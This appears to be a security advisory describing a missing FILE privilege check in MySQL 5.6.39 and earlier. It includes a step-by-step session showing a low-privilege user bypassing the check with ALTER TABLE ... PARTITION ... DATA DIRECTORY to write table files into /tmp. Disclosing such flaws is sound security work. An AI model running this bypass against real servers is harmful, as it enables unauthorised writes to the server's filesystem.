MySQL server versions 5.6.39 and prior were missing a file privilege check. The
server documentation
states that “as of MySQL 5.6.35, the FILE
privilege is
required to use the DATA DIRECTORY
or INDEX DIRECTORY
table option.” The access
checks were not performing when making an ALTER TABLE
statement with PARTITION
.
The following is an example interaction that demonstrates that write access was
denied via CREATE TABLE
, but allowed via ALTER TABLE
with a PARTITION
.
$ docker run --name db --rm -d mysql/mysql-server:5.7
# set up database d1 and low_priv_user with access to d1
$ docker exec -it db mysql -ulow_priv_user -p d1
Enter password: *************
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 13
Server version: 5.7.20 MySQL Community Server (GPL)
Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> create table t1 (id int not null primary key)
-> partition by range (id) (
-> partition p0 values less than (1) data directory = '/tmp/'
-> );
ERROR 1045 (28000): Access denied for user 'low_priv_user'@'%' (using password: YES)
mysql> create table t1 (id int not null primary key);
Query OK, 0 rows affected (0.02 sec)
mysql> alter table t1
-> partition by range (id) (
-> partition p0 values less than (1) data directory = '/tmp/'
-> );
Query OK, 0 rows affected (0.04 sec)
Records: 0 Duplicates: 0 Warnings: 0
mysql> exit
Bye
$ docker exec -it db ls -l /tmp/d1
total 96
-rw-r----- 1 mysql mysql 98304 Nov 22 14:10 t1#P#p0.ibd